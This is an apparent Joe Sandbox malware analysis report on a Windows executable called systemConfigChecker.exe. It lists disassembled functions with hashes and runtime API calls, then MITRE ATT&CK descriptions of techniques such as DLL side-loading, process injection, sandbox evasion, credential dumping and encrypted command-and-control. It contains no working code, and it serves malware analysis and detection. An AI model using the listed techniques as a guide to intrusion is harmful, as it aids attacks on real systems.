Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task$?in@?$codecvt@Mbstatet@@Mbstatet@@@std@@memcpy
String ID:
API String ID: 281699261-0
Opcode ID: 9d65bfed7838d7cd01c189297b92ca64ffbdaea2cba263f34434c41371c6b8aa
Instruction ID: 0303233061263a2c4fb4321198895833010a04b6bb5e3dfe48e8dafc0a130e96
Opcode Fuzzy Hash: 9d65bfed7838d7cd01c189297b92ca64ffbdaea2cba263f34434c41371c6b8aa
Instruction Fuzzy Hash: 95B19EA2F5CA8595FB10FB68D4842AD7362EB68798F404632EA5D93FD8EF38D144C740

Function 00007FF64E136EF0 Relevance: 10.7, APIs: 7, Instructions: 177COMMON

Download Yara Rule

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF64E136FA2

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: fgetc
String ID:
API String ID: 2807381905-0
Opcode ID: 64994607539f38f552e42247ef51bee8c107110e09ecd35cad0c016812c1fa46
Instruction ID: ae8ac8844f7382cecf81cd7574591e70819ac1a499a76c8837b127f88b56c598
Opcode Fuzzy Hash: 64994607539f38f552e42247ef51bee8c107110e09ecd35cad0c016812c1fa46
Instruction Fuzzy Hash: 02818833B18B8199FB10AF65C4802AD37B4FB58B68F541632EA6D93B95DF38D494C740

Function 00007FF64E13AE70 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF64E13AF04
memcpy.VCRUNTIME140 ref: 00007FF64E13AF48
memcpy.VCRUNTIME140 ref: 00007FF64E13AF60
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13AFE8
memcpy.VCRUNTIME140 ref: 00007FF64E13B015
memcpy.VCRUNTIME140 ref: 00007FF64E13B030
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E13B053

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1775671525-0
Opcode ID: ec63268d6026fec8c3c01620d9734fc28b0be693d76d74db511f0e55b27b6a49
Instruction ID: d100d32f668154aff448f03eaff6972f7516ebf7237ee1e6c6c16c745161f8d3
Opcode Fuzzy Hash: ec63268d6026fec8c3c01620d9734fc28b0be693d76d74db511f0e55b27b6a49
Instruction Fuzzy Hash: 8351BF62A0CB8181FA10FF21D1046AD63A4FB65BD8F144632EF6C97B92DF38E595D780

Function 00007FF64E13AC60 Relevance: 10.6, APIs: 7, Instructions: 145COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,00007FF64E1357DE), ref: 00007FF64E13ACF7
memcpy.VCRUNTIME140(?,?,?,00007FF64E1357DE), ref: 00007FF64E13AD42
memcpy.VCRUNTIME140(?,?,?,00007FF64E1357DE), ref: 00007FF64E13AD5A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00007FF64E1357DE), ref: 00007FF64E13ADF9

Part of subcall function 00007FF64E13B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF64E13107B), ref: 00007FF64E13B522

memcpy.VCRUNTIME140(?,?,?,00007FF64E1357DE), ref: 00007FF64E13AE29
memcpy.VCRUNTIME140(?,?,?,00007FF64E1357DE), ref: 00007FF64E13AE47
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E13AE6A

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1155477157-0
Opcode ID: 2b8c79cdb3266eb39cf5aa1dd2f2519663dc420ae3e69cc0fff0188470da729c
Instruction ID: ea601a47d1097f43c982e951dc6c397b97ad2bd1d2d3b55abc9bdc7c094ee3e5
Opcode Fuzzy Hash: 2b8c79cdb3266eb39cf5aa1dd2f2519663dc420ae3e69cc0fff0188470da729c
Instruction Fuzzy Hash: 8751AE62F48B8191FA10BF25D4042AC23A0FB65BA4F544B36EEAD93BC5DF38E595C740

Function 00007FF64E1384B0 Relevance: 7.6, APIs: 5, Instructions: 126COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00007FF64E138E38), ref: 00007FF64E138580

Part of subcall function 00007FF64E13B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF64E13107B), ref: 00007FF64E13B522

Part of subcall function 00007FF64E131310: ?_Xlength_error@std@@YAXPEBD@Z.MSVCP140 ref: 00007FF64E13131B

memcpy.VCRUNTIME140(?,?,?,00007FF64E138E38), ref: 00007FF64E1385A1
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E1385BC

Part of subcall function 00007FF64E131270: __std_exception_copy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,00007FF64E13B543), ref: 00007FF64E1312B4

??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140(?,?,?,?,?,?,?,00007FF64E138E38), ref: 00007FF64E138625
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140(?,?,?,?,?,?,?,00007FF64E138E38), ref: 00007FF64E13862E

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$??1?$basic_ios@??1?$basic_iostream@Concurrency::cancel_current_taskXlength_error@std@@__std_exception_copy_invalid_parameter_noinfo_noreturnmallocmemcpy
String ID:
API String ID: 2733788171-0
Opcode ID: 895c6813316c641382c5e3aa4b1084326639795824eb79dcb369539a11281871
Instruction ID: f982af1d68aa9578e34ac74bd9487f9680c13e73828a809f1d623204852d2dec
Opcode Fuzzy Hash: 895c6813316c641382c5e3aa4b1084326639795824eb79dcb369539a11281871
Instruction Fuzzy Hash: 0B41B572B49B4285FB54BB25E4403B823A0EB64BA4F148735EB6D43FD6DE38D8D58B00

Function 00007FF64E137A10 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E137C03

Strings

, xrefs: 00007FF64E137A93

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-3916222277
Opcode ID: e525968f3bcce64392877eb82988f276976157d7ad8acd84272c50dfdb48e0f4
Instruction ID: 300221a54ccb4423d4c350e0fb7bf19cac50bbe92d93bb313c8b03a89315cd43
Opcode Fuzzy Hash: e525968f3bcce64392877eb82988f276976157d7ad8acd84272c50dfdb48e0f4
Instruction Fuzzy Hash: C251687274CB4596EB15AF2AD49026D37A0FB58B94F584632EF4D83BA4DF38E0A1C700

Function 00007FF64E13CF76 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

__current_exception.VCRUNTIME140 ref: 00007FF64E13CFAB
__current_exception_context.VCRUNTIME140 ref: 00007FF64E13CFBF
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13CFC7

Strings

csm, xrefs: 00007FF64E13CF97

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: __current_exception__current_exception_contextterminate
String ID: csm
API String ID: 2542180945-1018135373
Opcode ID: d3b79f1d4ed2cf87534eefe888d4520da953d68ce7e88eb7b161ba8e8e1dee64
Instruction ID: f00a97d329bbf6e42cc215415fb2bdfcc9240ac918c058761a683746aae45a4d
Opcode Fuzzy Hash: d3b79f1d4ed2cf87534eefe888d4520da953d68ce7e88eb7b161ba8e8e1dee64
Instruction Fuzzy Hash: 1CF0F937649B84CAE714BF21E8801AC3764FB5CB98B495170FA4D87B55CF38D8A08B50

Function 00007FF64E1396C0 Relevance: 6.1, APIs: 4, Instructions: 114COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF64E1396F0
memcpy.VCRUNTIME140 ref: 00007FF64E1397B2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E139805
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E139812

Part of subcall function 00007FF64E13B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF64E13107B), ref: 00007FF64E13B522

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1155477157-0
Opcode ID: eaf3c19ad4d0e686500c82fd6c9687f926ff04beca4be6b011ccc32704aa8542
Instruction ID: 4b94af7f5d5529e84c4b1d9cfc82f4f0d51d6df94b8ecb55436c82838688f925
Opcode Fuzzy Hash: eaf3c19ad4d0e686500c82fd6c9687f926ff04beca4be6b011ccc32704aa8542
Instruction Fuzzy Hash: 1331E3A2B4D68684FE15BF55A5003B912919B25FE4F544631EE2D87FC9EE3CE481CB00

Function 00007FF64E13A570 Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E13A6CB

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 1ef9cebed11aa757f790f007fe67e90c90a9a1ada4030d4e0cebe6aba601f67a
Instruction ID: bfd475a80b3dcd44580fccdc2132f7c3899eaffb02677f71aa6b1e0875acf4eb
Opcode Fuzzy Hash: 1ef9cebed11aa757f790f007fe67e90c90a9a1ada4030d4e0cebe6aba601f67a
Instruction Fuzzy Hash: 4721CD20B5C29A59FD183B7749098A61616AF35FF0E384B31FE7C87FD2DD28E4428A00

Function 00007FF64E137330 Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fed82e02baa9a700fae8dd61e3f5e5d4e6d578d09e70afdffe5bad35c6b6e123
Instruction ID: 9351447dc35c3c0bc91134d309fdf0d9cc727b5f4ed6548e0c83ded2e68da14e
Opcode Fuzzy Hash: fed82e02baa9a700fae8dd61e3f5e5d4e6d578d09e70afdffe5bad35c6b6e123
Instruction Fuzzy Hash: D851667270CB8285EB10AF29E45036EB7A5FB94B94F544236EA9D87B98DF3CD444CB00

Function 00007FF64E139E30 Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,00007FF64E135133), ref: 00007FF64E139F3A

Part of subcall function 00007FF64E13B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF64E13107B), ref: 00007FF64E13B522

memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00007FF64E135133), ref: 00007FF64E139F65
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00007FF64E135133), ref: 00007FF64E139F75
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E139FA9

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1155477157-0
Opcode ID: fead59cf91176764882eea427c2a42ff201302449ae88b393c1fe2f54dd12570
Instruction ID: da691eebb724c74fcaab38abe22ad9f946c81aa3c2f559e99f719a4b6ce64687
Opcode Fuzzy Hash: fead59cf91176764882eea427c2a42ff201302449ae88b393c1fe2f54dd12570
Instruction Fuzzy Hash: 9F418062B19A4181FA10FB12A4406A96694EB68BF4F548731FE7D87FD4EE3CD4918700

Function 00007FF64E138280 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF64E1382EA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E138370
memcpy.VCRUNTIME140 ref: 00007FF64E138396
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E1383BA

Part of subcall function 00007FF64E13B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF64E13107B), ref: 00007FF64E13B522

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1155477157-0
Opcode ID: 34d6b8b8f85d502dd3e974caf13f3a255f62ba7057ab9783194fbc3a16eacf1c
Instruction ID: cc082487297fcff0a686167fa23f3e55a95b95cb13c81b0df1185b2061e5c0f1
Opcode Fuzzy Hash: 34d6b8b8f85d502dd3e974caf13f3a255f62ba7057ab9783194fbc3a16eacf1c
Instruction Fuzzy Hash: 9C31B562B4DB4181FA14BB12A5402BD62A5EB25BB0F244B34FE7D87BD1DF3CE4928740

Function 00007FF64E13A0C0 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF64E13A0F8
memcpy.VCRUNTIME140 ref: 00007FF64E13A198
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E13A1B6

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task
String ID:
API String ID: 326894585-0
Opcode ID: bb3c3e09e16725125c818d18fe87c36af5fe47e3bf638568bff9307805f37345
Instruction ID: dac6da307dc8daec68d6011bcbaa99383eebc8a7f9bf476ca257d19275b7fc70
Opcode Fuzzy Hash: bb3c3e09e16725125c818d18fe87c36af5fe47e3bf638568bff9307805f37345
Instruction Fuzzy Hash: 1521D662B8D74249FA24BB11A4403B926509B257B4F180B31FEAD87FD7DE7CE4928B00

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report systemConfigChecker.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

